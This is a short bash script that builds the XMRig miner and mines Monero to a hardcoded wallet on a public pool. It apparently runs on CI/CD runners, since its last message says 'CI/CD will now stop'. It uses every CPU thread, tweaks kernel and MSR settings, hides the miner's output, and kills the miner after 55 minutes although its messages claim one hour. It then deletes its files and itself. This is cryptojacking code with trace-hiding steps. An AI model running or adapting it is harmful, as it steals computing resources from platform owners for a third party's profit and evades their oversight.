#!/bin/bash

apt update -y

WALLET="84C9DKow5uJDWauDdreyXz9KQ8ZcQ5dkhKshb7EBXid9Amj5opVjnzY4iexNADdj37ABPBJEaDtdYMQKxP6cffHyGzFW6ZD"

POOL="asia.hashvault.pro:443"

WORKER="${1:-FastRig}"

echo "[+] Installing dependencies..."

apt install -y cmake git build-essential automake libtool autoconf libhwloc-dev libuv1-dev libssl-dev msr-tools curl

echo "[+] Enabling hugepages..."

sysctl -w vm.nr_hugepages=128

echo 'vm.nr_hugepages=128' >> /etc/sysctl.conf

echo "[+] Setting MSR..."

modprobe msr 2>/dev/null

wrmsr -a 0x1a4 0xf 2>/dev/null

echo "[+] Cloning & Building XMRig..."

git clone https://github.com/xmrig/xmrig.git

cd xmrig

mkdir build && cd build

cmake ..

make -j$(nproc)

echo "[+] Starting XMRig for exactly 1 hour..."

sleep 2

./xmrig -o $POOL -u $WALLET -p $WORKER -k --coin monero -t $(nproc) > /dev/null 2>&1 &

XMRIG_PID=$!

echo "[+] Miner started (PID: $XMRIG_PID) → Will auto-stop after 1 hour"

# Run exactly 1 hour then kill

sleep 3300

echo "[+] 1 hour reached. Killing XMRig..."

kill -9 $XMRIG_PID 2>/dev/null

echo "[+] XMRig stopped. Cleaning up..."

cd ../../

rm -rf xmrig

rm -- "$0"

echo "[+] Script finished and self-deleted. CI/CD will now stop."